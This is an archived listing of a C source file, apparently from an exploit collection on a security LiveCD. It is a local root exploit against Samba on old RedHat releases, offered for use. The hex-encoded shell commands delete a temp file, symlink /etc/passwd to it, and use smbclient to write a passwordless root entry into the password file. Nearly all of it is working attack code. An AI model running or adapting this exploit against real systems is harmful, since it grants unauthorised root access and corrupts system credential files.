home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / smbexp.c.txt < prev    next >
Text File  |  2005-02-12  |  2KB  |  59 lines

  1. /*
  2.  * Samba Server r00t exploit
  3.  *
  4.  * Scope: Local (this exploit) and posible remote if conditions are given.
  5.  * Vuln:
  6.  *      RedHat 5.1
  7.  *      RedHat 5.2
  8.  *      RedHat 6.0
  9.  *      RedHat 6.1
  10.  *      RedHat 6.2
  11.  *      RedHat 7.0
  12.  *      RedHat 7.1
  13.  *      I don't know if other versions are vulnerable too.
  14.  *
  15.  * Run this exploit and then take a look at your passwd file.
  16.  * Run: ./samba-exp user
  17.  *
  18.  * Author:      Gabriel Maggiotti
  19.  * Email:       gmaggiot@ciudad.com.ar
  20.  * Webpage:     http://qb0x.net
  21.  */
  22.  
  23.  
  24. #include <stdio.h>
  25. #include <string.h>
  26.  
  27. int main(int argc,char *argv[])
  28. {
  29. char inject1[]=
  30.         "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f"
  31.         "\x74\x6d\x70\x2f\x78\x2e\x6c\x6f\x67";
  32. char inject2[]=
  33.         "\x2f\x62\x69\x6e\x2f\x6c\x6e\x20\x2d\x73\x20\x2f\x65"
  34.         "\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x74\x6d"
  35.         "\x70\x2f\x78\x2e\x6c\x6f\x67";
  36. char inject3a[100]=
  37.         "\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x6d\x62\x63"
  38.         "\x6c\x69\x65\x6e\x74\x20\x2f\x2f\x6c\x6f\x63\x61\x6c"
  39.         "\x68\x6f\x73\x74\x2f\x22\xa\xa";
  40. char inject3b[]=
  41.         "\x3a\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
  42.         "\x2f\x73\x68\x5c\x6e\x22\x20\x2d\x6e\x20\x2e\x2e\x2f"
  43.         "\x2e\x2e\x2f\x2e\x2e\x2f\x74\x6d\x70\x2f\x78\x20\x2d"
  44.         "\x4e\xa";
  45.  
  46. if(argc!=2){
  47.         fprintf(stderr,"usage: %s <user>\n",*argv);
  48.         return 1;
  49.         }
  50. strcat(inject3a,argv[1]);
  51. strcat(inject3a,inject3b);
  52. system(inject1, 0);
  53. system(inject2, 0);
  54. system(inject3a, 0);
  55.  
  56. return 0;
  57. }
  58.  
  59.